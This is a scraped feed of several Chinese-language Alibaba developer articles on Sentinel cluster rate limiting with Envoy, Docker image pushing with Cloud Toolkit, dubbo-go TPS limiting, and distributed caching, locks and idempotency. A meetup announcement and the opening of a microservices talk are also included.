        用户只需要拉起 Sentinel RLS token server 实例并配置集群流控规则,然后在 Envoy 中进行相应的配置即可快速接入 Sentinel 的集群限流。集群流控规则项与 Envoy 的 rate limit action 生成的 descriptor 相对应,支持 source_cluster、destination_cluster、request_headers、remote_address、generic_key 等几种策略(支持组合)。示例规则项:

        domain: foo
        descriptors:
          - resources:
            - key: "destination_cluster"
              value: "service_aliyun"
            count: 1
          - resources:
            - key: "remote_address"
              value: "30.40.50.60"
            count: 10

        上面的示例配置了两条规则,针对的 domain 都是 foo(与 Envoy 的配置相对应),其中一条规则会对所有目标为 service_aliyun 集群的请求进行控制,QPS 最大为 1;另一条规则控制所有来源 IP 为 30.40.50.60 的请求每秒不超过 10 次。

        我们提供了 Sentinel RLS token server 在 Kubernetes 环境的示例,方便大家在 K8s 集群中快速体验 Sentinel 集群限流的能力。

        在后续的版本我们还会改进规则动态配置的方式,支持 Kubernetes CRD 的形式配置规则,同时结合 Sentinel C++ 版本提供原生的 Envoy Filter。未来我们还会提供 Istio 的支持,让 Sentinel 在 Service Mesh 中发挥更为重要的作用。

        properties 文件配置支持

        Sentinel 1.7.0 优化了加载启动配置项的方式,支持将配置项直接配置在 properties 文件中。用户只需要通过 -Dcsp.sentinel.config.file 参数配置 properties 文件的路径即可,从而简化了通用配置的方式。

        动态数据源适配

        Sentinel 1.7.0 新增了以下三种动态数据源的支持,用户可以利用这些动态数据源保存、拉取规则:

        至此,Sentinel 已经支持了七种常用的配置中心,可以覆盖大部分的规则推送场景。

        Start hacking

        值得注意的是,Sentinel 1.7.0 有近一半的特性都是由社区开发者贡献的,许多的特性都是社区里面进行充分讨论和 review 后出炉的,因此我们可以称 Sentinel 1.7.0 是一个社区一起定义的版本。我们非常欢迎大家持续参与社区贡献,一起来参与未来版本的演进。若您有意愿参与社区贡献,可以参考 贡献指南 来入门,同时也欢迎联系我们加入 Sentinel 核心贡献小组认领任务。积极参与贡献的开发者我们会重点关注,有机会被提名为 Committer。Now start hacking!

        ]]>
        IntelliJ IDEA 本地打包 Docker 镜像并推送到阿里云 ACR Fri, 02 May 2025 09:39:04 +0800 image

        关于容器镜像服务 ACR

        容器镜像服务(Container Registry)提供安全的镜像托管能力,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,为用户打造云上使用Docker的一体化体验。(摘自阿里云容器镜像服务 ACR 官网

        延伸阅读:《IntelliJ IDEA 部署应用到容器服务 Kubernetes

        本地开发

        本文采用一个极其基础的样例《在 Web 页面打印 HelloWorld 的 Java Servlet 》为例,做代码工程的参考。

        image

        public class IndexServlet extends HttpServlet {
            private static final long serialVersionUID = -112210702214857712L;
        
            @Override
            public void doGet( HttpServletRequest req, HttpServletResponse resp ) throws ServletException, IOException {
                PrintWriter writer = resp.getWriter();
                //Demo:通过 Cloud Toolkit ,高效的将本地应用程序代码修改,部署到云上。
                writer.write("Deploy from Alibaba Cloud Toolkit. 2018-12-17");
                return;
            }
            @Override
            protected void doPost( HttpServletRequest req, HttpServletResponse resp ) throws ServletException, IOException {
                return;
            }}

        源代码下载

        上述代码就是一个标准的 Java 工程,用于在 Web 页面上打印一串“Hello World”的文案。

        编写一个 Dockerfile 文件(下载),放置于工程根目录下

        FROM tomcat:8.5.34-jre8
        COPY target/javademo.war /usr/local/tomcat/webapps/

        安装插件

        阿里云提供了基于 IntelliJ IDEA 的插件,以方便开发人员能够高效的在本地打包 Docker 镜像并推送到阿里云 ACR 中去。

        插件主页:https://www.aliyun.com/product/cloudtoolkit

        阿里云的这个 IntelliJ IDEA 插件的安装过程,和普通的插件大同小异,这里不再赘述,读者请自行安装。

        配置插件首选项

        安装完插件之后,按照如下路径进行首选项配置

        顶部菜单 - Tools - Alibaba Cloud Toolkit - Preferences

        出现如下界面,配置阿里云账号的 AK 和 SK,即可完成首选项配置。(如果是子账号,则填写子账号的 AK 和 SK)

        image

        设置本地 Docker 镜像打包
        顶部菜单 - Tools - Alibaba Cloud Toolkit - Preferences - Alibaba Cloud Toolkit - Docker

        image

        部署

        image

        在 IntelliJ IDEA 中,点击上图所示菜单,会出现如下窗口:

        image

        在 Image 标签页中,选择本地应用程序的 Context Directory 和 Dockerfile (通常会根据您本地的应用工程自动识别并设置);

        选择容器镜像服务的地域、命名空间和镜像仓库。

        说明:如果您还没有镜像仓库,在对话框右上角单击 Create a new repository 跳转到容器镜像仓库创建镜像仓库。创建步骤请参考容器镜像仓库文档

        点击 Run 按钮之后,即可完成将本地 Docker 镜像推送到阿里云 ACR 中去。

        开发者交流群


        用手机扫描,或长按二维码


        f0ba015810affe07da467265db127e19c68e7aec

        交流群(钉钉)


        e103b604c2fa24262c48e8f711b550b3ee8380b9

        交流群(微信)


        请务必备注添加 Cloud Toolkit 微信群”


        ]]>
        dubbo-go 中的 TPS Limit 设计与实现 Fri, 02 May 2025 09:39:04 +0800 前言

        Apache Dubbo 是由阿里开源的一个RPC框架,除了基本的 RPC 功能以外,还提供了一整套的服务治理相关功能。目前它已经是 Apache 基金会下的顶级项目。

        而 dubbo-go 则是 Dubbo 的 Go 语言实现。

        最近在 dubbo-go 的 todo list 上发现,它还没有实现 TPS Limit 的模块,于是就抽空实现了这个部分。

        TPS limit 实际上就是限流,比如说限制一分钟内某个接口只能访问 200 次,超过这个次数,则会被拒绝服务。在 Dubbo 的 Java 版本上,只有一个实现,就是 DefaultTPSLimiter 。

        DefaultTPSLimiter 是在服务级别上进行限流。虽然 Dubbo 的官方文档里面声称可以在 method 级别上进行限流,但是我看了一下它的源码,实际上这个是做不到的。当然,如果自己通过实现 Filter 接口来实现 method 级别的限流,那么自然是可以的——这样暴露了 Dubbo Java 版本实现的另外一个问题,就是 Dubbo 的 TpsLimitFilter 实现,是不允许接入自己 TpsLimiter 的实现的。这从它的源码也可以看出来:

        lADPDgQ9rN3oEmnNARnNAoA_640_281_jpg_620x10000q90g

        它直接写死了 TpsLimiter 的实现。

        这个实现的目前只是合并到了 develop 上,等下次发布正式版本的时候才会发布出来。

        GitHub: https://github.com/apache/dubbo-go/pull/237

        设计思路

        于是我大概参考了一下 Dubbo 已有的实现,做了一点改进。

        Dubbo 里面的核心抽象是 TpsLimiter 接口。 TpsLimitFilter 只是简单调用了一下这个接口的方法而已:

        lADPDgQ9rN3oEmrM8s0CgA_640_242_jpg_620x10000q90g

        这个抽象是很棒的。但是还欠缺了一些抽象。

        实际上,一个 TPS Limit 就要解决三个问题:

        • 对什么东西进行 limit 。比如说,对服务进行限流,或者对某个方法进行限流,或者对IP进行限流,或者对用户进行限流;
        • 如何判断已经 over limitation 。这是从算法层面上考虑,即用什么算法来判断某个调用进来的时候,已经超过配置的上限了;
        • 被拒绝之后该如何处理。如果一个请求被断定为已经 over limititation 了,那么该怎么处理;

        所以在 TpsLimiter 接口的基础上,我再加了两个抽象:

        lADPDgQ9rN3oEmxXzQJ3_631_87_jpg_620x10000q90g

        TpsLimiter

        lADPDgQ9rN3oEm9KzQIw_560_74_jpg_620x10000q90g

        TpsLimitStrategy

        lADPDgQ9rN3oEnBFzQKA_640_69_jpg_620x10000q90g

        RejectedExecutionHandler

        TpsLimiter 对应到 Java 的 TpsLimiter ,两者是差不多。在我的设想里面,它既是顶级入口,还需要承担解决第一个问题的职责。

        而 TpsLimitStrategy 则是第二个问题的抽象的接口定义。它代表的是纯粹的算法。该接口完全没有参数,实际上,所有的实现需要维护自身的状态——对于大部分实现而言,它大概只需要获取一下系统时间戳,所以不需要参数。

        最后一个接口 RejectedExecutionHandler 代表的是拒绝策略。在 TpsLimitFilter 里面,如果它调用 TpsLimiter 的实现,发现该请求被拒绝,那么就会使用该接口的实现来获取一个返回值,返回给客户端。

        实现

        其实实现没太多好谈的。不过有一些微妙的地方,我虽然在代码里面注释了,但是我觉得在这里再多说一点也是可以的。

        首先提及的就是拒绝策略 RejectedExecutionHandler ,我就是提供了一种实现,就是随便 log 了一下,什么都没做。因为这个东西是强业务相关的,我也不能提供更加多的通用的实现。

        方法与服务双重支持的 TpsLimiter

        TpsLimiter 我只有一个实现,那就是 MethodServiceTpsLimiterImpl 。它就是根据配置,如果方法级别配置了参数,那么会在方法级别上进行限流。否则,如果在服务级别( ServiceKey )上有配置,那么会在服务级别进行限流。

        举个最复杂的例子:服务 A 限制 100 ,有四个方法,方法 M1 配置限制 40 ,方法 M2 和方法 M3 无配置,方法M4配置限制 -1 :那么方法 M1 会单独限流 40 ; M2 和 M3 合并统计,被限制在 100 ;方法 M4 则会被忽略。

        用户可以配置具体的算法。比如说使用我接下来说的,我已经实现的三种实现。

        FixedWindow 和 ThreadSafeFixedWindow

        FixedWindow 直接对应到 Java 的 DefaultTpsLimiter 。它采用的是 fixed-window 算法:比如说配置了一分钟内只能调用 100 次。假如从 00:00 开始计时,那么 00:00-01:00 内,只能调用 100 次。只有到达 01:00 ,才会开启新的窗口 01:00-02:00 。如图:

        lADPDgQ9rN3oEnF0zQIf_543_116_jpg_620x10000q90g
        Fixed-Window图示

        lADPDgQ9rN3oEnTM_s0CgA_640_254_jpg_620x10000q90g
        Fixed-Window实现

        这里有一个很有意思的地方。就是这个实现,是一个几乎线程安全但是其实并不是线程安全的实现。

        在所有的实现里面,它是最为简单,而且性能最高的。我在衡量了一番之后,还是没把它做成线程安全的。事实上, Java 版本的也不是线程安全的。

        它只会在多个线程通过第 67 行的检测之后,才会出现并发问题,这个时候就不是线程安全了。但是在最后的 return 语句中,那一整个是线程安全的。它因为不断计数往上加,所以多个线程同时跑到这里,其实不会有什么问题。

        现在我要揭露一个最为奇诡的特性了:并发越高,那么这个 race condition 就越严重,也就是说越不安全。

        但是从实际使用角度而言,有极端 TPS 的还是比较少的。对于那些 TPS 只有几百每秒的,是没什么问题的。

        为了保持和 Dubbo 一致的特性,我把它作为默认的实现。

        此外,我还为它搞了一个线程安全版本,也就是
        ThreadSafeFixedWindowTpsLimitStrategyImpl ,只是简单的用 sync 封装了一下,可以看做是一个 Decorator 模式的应用。

        如果强求线程安全,可以考虑使用这个。

        SlidingWindow

        这是我比较喜欢的实现。它跟网络协议里面的滑动窗口算法在理念上是比较接近的。
        lADPDgQ9rN3oEnXMms0CMA_560_154_jpg_620x10000q90g

        具体来说,假如我设置的同样是一分钟 1000 次,它统计的永远是从当前时间点往前回溯一分钟内,已经被调用了多少次。如果这一分钟内,调用次数没超过 1000 ,请求会被处理,如果已经超过,那么就会拒绝。

        我再来描述一下, SldingWindow 和 FixedWindow 两种算法的区别。这两者很多人会搞混。假如当前的时间戳是 00:00 ,两个算法同时收到了第一个请求,开启第一个时间窗口。

        那么 FixedWindow 就是 00:00-01:00 是第一个窗口,接下来依次是 01:00-02:00 , 02:00-03:00 , ...。当然假如说 01:00 之后的三十秒内都没有请求,在 01:31 又来了一个请求,那么时间窗口就是 01:31-02:31 。

        而 SildingWindow 则没有这种概念。假如在 01:30 收到一个请求,那么 SlidingWindow 统计的则是 00:30-01:30 内有没有达到 1000 次。它永远计算的都是接收到请求的那一刻往前回溯一分钟的请求数量。

        如果还是觉得有困难,那么简单来说就是 FixedWindow 往后看一分钟, SlidingWindow 回溯一分钟。
        这个说法并不严谨,只是为了方便理解。
        在真正写这个实现的时候,我稍微改了一点点:

        lADPDgQ9rN3oEnfNAdrNAm8_623_474_jpg_620x10000q90g

        我用了一个队列来保存每次访问的时间戳。一般的写法,都是请求进来,先把已经不在窗口时间内的时间戳删掉,然后统计剩下的数量,也就是后面的 slow path 的那一堆逻辑。

        但是我改了的一点是,我进来直接统计队列里面的数量——也就是请求数量,如果都小于上限,那么我可以直接返回 true ,即 quick path 。

        这种改进的核心就是:我只有在检测到当前队列里面有超过上限数量的请求数量时候,才会尝试删除已经不在窗口内的时间戳。

        这其实就是,是每个请求过来,我都清理一下队列呢?还是只有队列元素超出数量了,我才清理呢?我选择的是后者。

        我认为这是一种改进……当然从本质上来说,整体开销是没有减少的——因为 golang 语言里面 List 的实现,一次多删除几个,和每次删除一个,多删几次,并没有多大的区别。

        算法总结

        无论是 FixedWindow 算法还是 SlidingWindow 算法都有一个固有的缺陷,就是这个时间窗口难控制。

        我们设想一下,假如说我们把时间窗口设置为一分钟,允许 1000 次调用。然而,在前十秒的时候就调用了 1000 次。在后面的五十秒,服务器虽然将所有的请求都处理完了,然是因为窗口还没到新窗口,所以这个时间段过来的请求,全部会被拒绝。

        解决的方案就是调小时间窗口,比如调整到一秒。但是时间窗口的缩小,会导致 FixedWindow 算法的 race condition 情况加剧。

        那些没有实现的

        基于特定业务对象的限流

        举例来说,某些特殊业务用的针对用户 ID 进行限流和针对 IP 进行限流,我就没有在 dubbo-go 里面实现。有需要的可以通过实现 TpsLimiter 接口来完成。

        全局 TPS limit

        这篇文章之前讨论的都是单机限流。如果全局限流,比如说针对某个客户,它购买的服务是每分钟调用 100 次,那么就需要全局限流——虽然这种 case 都不会用 Filter 方案,而是另外做一个 API 接入控制。

        比如说,很常用的使用 Redis 进行限流的。针对某个客户,一分钟只能访问 100 次,那我就用客户 ID 做 key , value 设置成 List ,每次调用过来,随便塞一个值进去,设置过期时间一分钟。那么每次统计只需要统计当前 key 的存活的值的数量就可以了。
        这种我也没实现,因为好像没什么需求。国内讨论 TPS limit 都是讨论单机 TPS limit 比较多。

        这个同样可以通过实现 TpsLimiter 接口来实现。

        Leaky Bucket 算法

        这个本来可以是 TpsLimitStrategy 的一种实现的。后来我觉得,它其实并没有特别大的优势——虽然号称可以做到均匀,但是其实并做不到真正的均匀。通过调整 SlidingWindow 的窗口大小,是可以接近它宣称的均匀消费的效果的。比如说调整到一秒,那其实就已经很均匀了。而这并不会带来多少额外的开销。

        作者信息:邓明,毕业于南京大学,就职于eBay Payment部门,负责退款业务开发

        ]]>
        Green Tea Jug & Reactive Foundation:Reactive 架构专场【四城巡演】 Fri, 02 May 2025 09:39:04 +0800 活动安排

        Q1:Reactive 是什么?
        Q2:为什么阿里、Pivotal 、Netifi、Facebook 纷纷在生产环境中实践 Reactive?
        Q3:Reactive 对架构设计将有何影响和冲击?

        Green Tea Jug & Reactive Foundation:Reactive 架构专场共有四场,分别是:

        • 11月21日,北京站,点击这里报名。
        • 11月22日,杭州站,点击这里报名。
        • 11月23日,深圳站,点击这里报名。
        • 11月24日,上海站,点击这里报名。

        When & Where ?

        • 活动时间:11月21日--11月24日
        • 活动地点:北京,杭州,深圳,上海
        • 参会收益:Pivotal Java 布道师 Josh Long 将详细介绍如何用 Reactor 、RSocket 编程;Netifi CTO Ryland Degnan 将为大家详解RSocket 的性能;阿里 P9 大神雷卷为大家带来阿里云上如何运用 RSocket Broker。

        lADPDgQ9rOUrnHnNGqPNB8Q_1988_6819_jpg_620x10000q90g

        ]]>
        微服务架构四大金刚利器 Fri, 02 May 2025 09:39:04 +0800

        概述

        互联网应用发展到今天,从单体应用架构到SOA以及今天的微服务,随着微服务化的不断升级进化,服务和服务之间的稳定性变得越来越重要,分布式系统之所以复杂,主要原因是分布式系统需要考虑到网络的延时和不可靠,微服务很重要的一个特质就是需要保证服务幂等,保证幂等性很重要的前提需要分布式锁控制并发,同时缓存、降级和限流是保护微服务系统运行稳定性的三大利器。

        随着业务不断的发展,按业务域的划分子系统越来越多,每个业务系统都需要缓存、限流、分布式锁、幂等工具组件,distributed-tools组件(暂未开源)正式包含了上述分布式系统所需要的基础功能组件。

        distributed-tools组件基于tair、redis分别提供了2个springboot starter,使用起来非常简单。
        以使用缓存使用redis为例,application.properties添加如下配置

        redis.extend.hostName=127.0.0.1
        redis.extend.port=6379
        redis.extend.password=pwdcode
        redis.extend.timeout=10000
        
        redis.idempotent.enabled=true

        接下来的篇幅,重点会介绍一下缓存、限流、分布式锁、幂等的使用方式。

        缓存

        缓存的使用可以说无处不在,从应用请求的访问路径来看,用户user -> 浏览器缓存 -> 反向代理缓存-> WEB服务器缓存 -> 应用程序缓存 -> 数据库缓存等,几乎每条链路都充斥着缓存的使用,缓存最直白的解释就是“用空间换时间”的算法。缓存就是把一些数据暂时存放于某些地方,可能是内存,也有可能硬盘。总之,目的就是为了避免某些耗时的操作。我们常见的耗时的操作,比如数据库的查询、一些数据的计算结果,或者是为了减轻服务器的压力。其实减轻压力也是因查询或计算,虽然短耗时,但操作很频繁,累加起来也很长,造成严重排队等情况,服务器抗不住。

        distributed-tools组件提供了一个CacheEngine接口,基于Tair、Redis分别有不同的实现,具体CacheEngine定义如下:

            public String get(String key);
        
            /**
             * 获取指定的key对应的对象,异常也会返回null
             * 
             * @param key
             * @param clazz
             * @return
             */
            public <T> T get(String key, Class<T> clz);
        
            /**
             * 存储缓存数据,忽略过期时间
             * 
             * @param key
             * @param value
             * @return
             */
            public <T extends Serializable> boolean put(String key, T value);
        
            /**
             * 存储缓存数据
             * 
             * @param key
             * @param value
             * @param expiredTime
             * @param unit
             * @return
             */
            public <T extends Serializable> boolean put(String key, T value, int expiredTime, TimeUnit unit);
        
            /**
             * 基于key删除缓存数据
             * 
             * @param key
             * @return
             */
            public boolean invalid(String key);
        

        get方法针对key进行查询,put存储缓存数据,invalid删除缓存数据。

        限流

        在分布式系统中,尤其面对一些秒杀、瞬时高并发场景,都需要进行一些限流措施,保证系统的高可用。通常来说限流的目的是通过对并发访问/请求进行限速,或者一个时间窗口内的的请求进行限速来保护系统,一旦达到限制速率则可以 拒绝服务(定向到错误页或告知资源没有了)、排队 或 等待(比如秒杀、评论、下单)、降级(返回托底数据或默认数据,如商品详情页库存默认有货)。

        常见的一些限流算法包括固定窗口、滑动窗口、漏桶、令牌桶,distributed-tools组件目前基于计数器只实现了固定窗口算法,具体使用方式如下:

         /**
             * 指定过期时间自增计数器,默认每次+1,非滑动窗口
             * 
             * @param key 计数器自增key
             * @param expireTime 过期时间
             * @param unit  时间单位
             * @return
             */
            public long incrCount(String key, int expireTime, TimeUnit unit);
        
            /**
             * 指定过期时间自增计数器,单位时间内超过最大值rateThreshold返回true,否则返回false
             * 
             * @param key 限流key
             * @param rateThreshold 限流阈值
             * @param expireTime 固定窗口时间
             * @param unit 时间单位
             * @return
             */
            public boolean rateLimit(final String key, final int rateThreshold, int expireTime, TimeUnit unit);

        基于CacheEngine的rateLimit方法可以实现限流,expireTime只能设定固定窗口时间,非滑动窗口时间。
        另外distributed-tools组件提供了模板RateLimitTemplate可以简化限流的易用性,可以直接调用RateLimitTemplate的execute方法处理限流问题。

         /**
             * @param limitKey 限流KEY
             * @param resultSupplier 回调方法
             * @param rateThreshold 限流阈值
             * @param limitTime 限制时间段
             * @param blockDuration 阻塞时间段
             * @param unit 时间单位
             * @param errCodeEnum 指定限流错误码
             * @return
             */
            public <T> T execute(String limitKey, Supplier<T> resultSupplier, long rateThreshold, long limitTime,
                                 long blockDuration, TimeUnit unit, ErrCodeEnum errCodeEnum) {
                boolean blocked = tryAcquire(limitKey, rateThreshold, limitTime, blockDuration, unit);
                if (errCodeEnum != null) {
                    AssertUtils.assertTrue(blocked, errCodeEnum);
                } else {
                    AssertUtils.assertTrue(blocked, ExceptionEnumType.ACQUIRE_LOCK_FAIL);
                }
        
                return resultSupplier.get();
            }

        另外distributed-tools组件还提供了注解@RateLimit的使用方式,具体注解RateLimit定义如下:

        @Retention(RetentionPolicy.RUNTIME)
        @Target(ElementType.METHOD)
        @Documented
        public @interface RateLimit {
        
            /**
             * 限流KEY
             */
            String limitKey();
        
            /**
             * 允许访问的次数,默认值MAX_VALUE
             */
            long limitCount() default Long.MAX_VALUE;
        
            /**
             * 时间段
             */
            long timeRange();
        
            /**
             * 阻塞时间段
             */
            long blockDuration();
        
            /**
             * 时间单位,默认为秒
             */
            TimeUnit timeUnit() default TimeUnit.SECONDS;
        }

        基于注解的方式限流使用代码如下:

        @RateLimit(limitKey = "#key", limitCount = 5, timeRange = 2, blockDuration = 3, timeUnit = TimeUnit.MINUTES)
        public String testLimit2(String key) {
            ..........
            return key;
        }

        任何方法添加上述注解具备了一定的限流能力(具体方法需要在spring aop指定拦截范围内),如上代码表示以参数key作为限流key,每2分钟请求次数不超过5次,超过限制后阻塞3分钟。

        分布式锁

        在Java单一进程中通过synchronized关键字和ReentrantLock可重入锁可以实现在多线程环境中控制对资源的并发访问,通常本地的加锁往往不能满足我们的需要,我们更多的面对场景是分布式系统跨进程的锁,简称为分布式锁。分布式锁实现手段通常是将锁标记存在内存中,只是该内存不是某个进程分配的内存而是公共内存如Redis、Tair,至于利用数据库、文件等做锁与单机的实现是一样的,只要保证标记能互斥就行。分布式锁相对单机进程的锁之所以复杂,主要原因是分布式系统需要考虑到网络的延时和不可靠。

        distributed-tools组件提供的分布式锁要具备如下特性:
        互斥性:同本地锁一样具有互斥性,但是分布式锁需要保证在不同节点进程的不同线程的互斥。
        可重入性:同一个节点上的同一个线程如果获取了锁之后那么也可以再次获取这个锁。
        锁超时:和本地锁一样支持锁超时,防止死锁,通过异步心跳demon线程刷新过期时间,防止特殊场景(如FGC死锁超时)下死锁。
        高性能、高可用:加锁和解锁需要高性能,同时也需要保证高可用防止分布式锁失效,可以增加降级。
        支持阻塞和非阻塞:同ReentrantLock一样支持lock和trylock以及tryLock(long timeOut)。
        公平锁和非公平锁(不支持):公平锁是按照请求加锁的顺序获得锁,非公平锁就相反是无序的,目前distributed-tools组件提供的分布式锁不支持该特性。

        distributed-tools组件提供的分布式锁,使用起来非常简单,提供了一个分布式锁模板:DistributedLockTemplate,可以直接调用模板提供的静态方法(如下):

         /**
             * 分布式锁处理模板执行器
             * 
             * @param lockKey 分布式锁key
             * @param resultSupplier 分布式锁处理回调
             * @param waitTime 锁等待时间
             * @param unit 时间单位
             * @param errCodeEnum 指定特殊错误码返回
             * @return
             */
            public static <T> T execute(String lockKey, Supplier<T> resultSupplier, long waitTime, TimeUnit unit,
                                        ErrCodeEnum errCodeEnum) {
                AssertUtils.assertTrue(StringUtils.isNotBlank(lockKey), ExceptionEnumType.PARAMETER_ILLEGALL);
                boolean locked = false;
                Lock lock = DistributedReentrantLock.newLock(lockKey);
                try {
                    locked = waitTime > 0 ? lock.tryLock(waitTime, unit) : lock.tryLock();
                } catch (InterruptedException e) {
                    throw new RuntimeException(String.format("lock error,lockResource:%s", lockKey), e);
                }
                if (errCodeEnum != null) {
                    AssertUtils.assertTrue(locked, errCodeEnum);
                } else {
                    AssertUtils.assertTrue(locked, ExceptionEnumType.ACQUIRE_LOCK_FAIL);
                }
                try {
                    return resultSupplier.get();
                } finally {
                    lock.unlock();
                }
            }

        幂等

         在分布式系统设计中幂等性设计中十分重要的,尤其在复杂的微服务中一套系统中包含了多个子系统服务,而一个子系统服务往往会去调用另一个服务,而服务调用服务无非就是使用RPC通信或者restful,分布式系统中的网络延时或中断是避免不了的,通常会导致服务的调用层触发重试。具有这一性质的接口在设计时总是秉持这样的一种理念:调用接口发生异常并且重复尝试时,总是会造成系统所无法承受的损失,所以必须阻止这种现象的发生。

        幂等通常会有两个维度:
        1. 空间维度上的幂等,即幂等对象的范围,是个人还是机构,是某一次交易还是某种类型的交易。
        2. 时间维度上的幂等,即幂等的保证时间,是几个小时、几天还是永久性的。

        在实际系统中有很多操作,不管操作多少次,都应该产生一样的效果或返回相同的结果。以下这些应用场景也是通常比较常见的应用场景:
        1. 前端重复提交请求,且请求数据相同时,后台需要返回对应这个请求的相同结果。
        2. 发起一次支付请求,支付中心应该只扣用户账户一次钱,当遇到网络中断或系统异常时,也应该只扣一次钱。
        3. 发送消息,同样内容的短信发给用户只发一次。
        4. 创建业务订单,一次业务请求只能创建一个,重试请求创建多个就会出大问题。
        5. 基于msgId的消息幂等处理

        在正式使用distributed-tools组件提供的幂等之前,我们先看下distributed-tools幂等组件的设计。

        1568168260336_1e02e9d6_5c23_4906_9488_9dc900ac5007

        • 幂等key提取能力:获取唯一幂等key

          幂等key的提取支持2中注解:IdempotentTxId、IdempotentTxIdGetter,任意方法添加以上2注解,即可提取到相关幂等key,前提条件是需要将Idempotent注解添加相关需要幂等的方法上。

        如果单纯使用幂等模板进行业务处理,需要自己设置相关幂等key,且要保证其唯一性。

        • 分布式锁服务能力:提供全局加锁、解锁的能力

          distributed-tools幂等组件需要使用自身提供的分布式锁功能,保证其并发唯一性,distributed-tools提供的分布式锁能够提供其可靠、稳定的加锁、解锁能力。
        • 高性能的写入、查询能力:针对幂等结果查询与存储

          distributed-tools幂等组件提供了基于tair、redis的存储实现,同时支持自定义一级、二级存储通过spring依赖注入到IdempotentService,建议distributed-tools幂等存储结果一级存储tair mdb,二级存储ldb或者tablestore,一级存储保证其高性能,二级存储保证其可靠性。

        二级存储并行查询会返回查询最快的幂等结果。

        二级存储并行异步写入,进一步提高性能。

        • 高可用的幂等写入、查询能力:幂等存储出现异常,不影响业务正常流程,增加容错

          distributed-tools幂等组件支持二级存储,为了保证其高可用,毕竟二级存储出现故障的概率太低,不会导致业务上不可用,如果二级存储同时出现故障,业务上做了一定的容错,针对不确定性的异常采取重试策略,会执行具体幂等方法。

        一级存储与二级存储的写入与查询处理进行隔离,任何一级存储的异常不会影响整体业务执行。

        在了解了distributed-tools组件幂等之后,接下来我们来看下如何去使用幂等组件,首先了解下common-api提供的幂等注解,具体幂等注解使用方式如下:

        注解定义 使用范围 使用描述
        Idempotent 方法 Idempotent需要定义到具体Method上。Idempotent有个属性定义:
        expireDate表示幂等有效期,默认30天。
        spelKey表示可以使用spring表达式生成幂等唯一ID,比如直接获取到对象属性或者方法或者其他表达式。
        IdempotentTxId 参数、对象属性 IdempotentTxId可以直接定义到方法参数或者参数对象属性上,直接获取幂等ID
        IdempotentTxIdGetter 方法 IdempotentTxIdGetter可以直接定义参数对象的方法上,调用该方法获取幂等ID

        幂等拦截器获取幂等ID的优先级:

        1. 首先判断Idempotent的spelKey的属性是否为空,如果不为空会根据spelKey定义的spring表达式生成幂等ID。
        2. 其次判断参数是否包含IdempotentTxId注解,如果有IdempotentTxId,会直接获取参数值生成幂等ID。
        3. 再次通过反射获取参数对象属性是否包含IdempotentTxId注解,如果对象属性包含IdempotentTxId注解会获取该参数对象属性生成幂等ID。
        4. 最后以上三种情况仍未获取到幂等ID,会进一步通过反射获取参数对象的Method是否定义IdempotentTxIdGetter注解,如果包含该注解则通过反射生成幂等ID。

        代码使用示例:

            @Idempotent(spelKey = "#request.requestId", firstLevelExpireDate = 7,secondLevelExpireDate = 30)
            public void execute(BizFlowRequest request) {
               ..................
            }

        如上述代码表示从request获取requestId作为幂等key,一级存储有效期7天,二级存储有效期30天。

        distributed-tools除了可以使用幂等注解外,幂等组件还提供了一个通用幂等模板IdempotentTemplate,使用幂等模板的前提必须设置tair.idempotent.enabled=true或者redis.idempotent.enabled=true,默认为false,同时需要指定幂等结果一级存储,幂等结果存储为可选项配置。
        具体使用幂等模板IdempotentTemplate的方法如下:

        /**
             * 幂等模板处理器
             *
             * @param request 幂等Request信息
             * @param executeSupplier 幂等处理回调function
             * @param resultPreprocessConsumer 幂等结果回调function 可以对结果做些预处理
             * @param ifResultNeedIdempotence 除了根据异常还需要根据结果判定是否需要幂等性的场景可以提供此参数
             * @return
             */
            public R execute(IdempotentRequest<P> request, Supplier<R> executeSupplier,
                             Consumer<IdempotentResult<P, R>> resultPreprocessConsumer, Predicate<R> ifResultNeedIdempotence) {
        
              ........
            }

        request:
        幂等参数IdempotentRequest组装,可以设置幂等参数和幂等唯一ID

        executeSupplier:
        具体幂等的方法逻辑,比如针对支付、下单接口,可以通过JDK8函数式接口Supplier Callback进行处理。

        resultBiConsumer:
        幂等返回结果的处理,该参数可以为空,如果为空采取默认的处理,根据幂等结果,如果成功、不可重试的异常错误码,直接返回结果,如果失败可重试异常错误码,会进行重试处理。
        如果该参数值不为空,可以针对返回幂等结果进行特殊逻辑处理设置ResultStatus(ResultStatus包含三种状态包括成功、失败可重试、失败不可重试)。

        ]]>
        在本地 IDE 中快捷执行远程服务器命令 Command Fri, 02 May 2025 09:39:04 +0800 Cloud Toolkit 新版本发布,允许开发者在本地 IDE 中快捷执行远程服务器命令 Command。

        界面缩略图

        command_execute

        第 1 步 :添加目标机器

        image

        如上图所示,在菜单
        Tools - Alibaba Cloud - Alibaba Cloud View - Host中打开机器视图界面,如下图:
        image

        点击右上角Add Host按钮,出现添加机器界面

        image

        第 3 步 :添加命令并执行

        点击机器列表中的 Command 按钮,会出现命令选择界面。第一次使用,需要添加一条命令。

        image


        用手机扫描,或长按二维码


        f0ba015810affe07da467265db127e19c68e7aec

        交流群(钉钉)


        e103b604c2fa24262c48e8f711b550b3ee8380b9

        交流群(微信)


        请务必备注添加 Cloud Toolkit 微信群”


        ]]>
        新网银行微服务转型实践 Fri, 02 May 2025 09:39:04 +0800 lADPDgQ9rPAlxufNAQ_NAmw_620_271_jpg_620x10000q90g

        Dubbo 开发者日活动成都站

        本文整理自谢延泽先生在 Dubbo 开发者日成都站活动中的演讲,主要分享关于微服务转型的内容,也总结一下这些年作者在微服务领域的一些经验。

        lADPDgQ9rPAlxunNAtDNBQA_1280_720_jpg_620x10000q90g

        2012 年 James Lewis 在波兰第 33 次 Degree in Kraków 会议上分享了一个案例,名称是 “Micro Services - Java, the Unix Way”。在这个分享里,James Lewis 分享了在 2011 年中参与的一个项目中所采用的一系列实践,以 UNIX 的哲学重新看待企业级 Java 应用程序,并且把其中的一部分称之为“ Micro-Services ”。总结了五大特征:
        Small with a single responsibility —— “小到只有单一原则”

        • Containerless and installed as wellbehaved Unix services —— “去容器化并且作为 Unix Service 安装”
        • Located in different VCS roots ——“分布在不同的版本控制代码库里”
        • Provisioned automatically ——“自动初始化”
        • Status aware and auto-scaling ——“关注状态和自动扩展”

